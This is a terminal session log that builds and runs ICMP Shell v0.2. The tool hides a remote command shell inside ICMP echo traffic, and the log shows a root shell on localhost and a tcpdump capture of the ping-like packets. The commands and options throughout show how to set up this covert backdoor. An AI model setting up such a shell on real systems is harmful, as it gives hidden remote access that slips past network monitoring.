root@localhost:~/ish# tar -xvzf ish-v0.2.tar.gz ISHELL-v0.2 ISHELL-v0.2/ishell.h ISHELL-v0.2/ish.c ISHELL-v0.2/ish_main.c ISHELL-v0.2/ish_open.c ISHELL-v0.2/ishd.c ISHELL-v0.2/Makefile ISHELL-v0.2/TODO ISHELL-v0.2/ChangeLog ISHELL-v0.2/README root@localhost:~/ish# |
root@localhost:~/ish# cd ISHELL-v0.2/ root@localhost:~/ish/ISHELL-v0.2# make ------------------------------- Make with the OS from the list: 1.) linux 2.) bsd 3.) solaris ex: make bsd ------------------------------- root@localhost:~/ish/ISHELL-v0.2# make linux |
root@localhost:~/ish/ISHELL-v0.2# ./ishd -h ICMP Shell v0.2 (server) - by: Peter Kieltyka usage: ./ishd [options] options: -h Display this screen -d Run server in debug mode -i <id> Set session id; range: 0-65535 (default: 1515) -t <type> Set ICMP type (default: 0) -p <packetsize> Set packet size (default: 512) example: ./ishd -i 65535 -t 0 -p 1024 root@localhost:~/ish/ISHELL-v0.2# |
root@localhost:~/ish/ISHELL-v0.2#./ishd -i 65535 -t 0 -p 1024 |
root@localhost:~/ish/ISHELL-v0.2# ./ish -i 65535 -t 0
-p 1024 localhost ICMP Shell v0.2 (client) - by: Peter Kieltyka -------------------------------------------------- Connecting to localhost...done. # uid=0(root) gid=0(root) groups=0(root) ls admin bin boot cdrom dev etc home initrd.img lib lost+found media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz pwd / |
root@localhost:~# tcpdump -i lo tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes 12:42:43.954643 IP localhost > localhost: ICMP echo reply, id 65535, seq 0, length 39 12:42:43.959231 IP localhost > localhost: ICMP echo reply, id 65535, seq 1024, length 75 12:42:53.515525 IP localhost > localhost: ICMP echo reply, id 65535, seq 0, length 39 12:42:53.520901 IP localhost > localhost: ICMP echo reply, id 65535, seq 1280, length 161 12:43:00.867464 IP localhost > localhost: ICMP echo reply, id 65535, seq 0, length 40 12:43:00.867705 IP localhost > localhost: ICMP echo reply, id 65535, seq 1536, length 38 |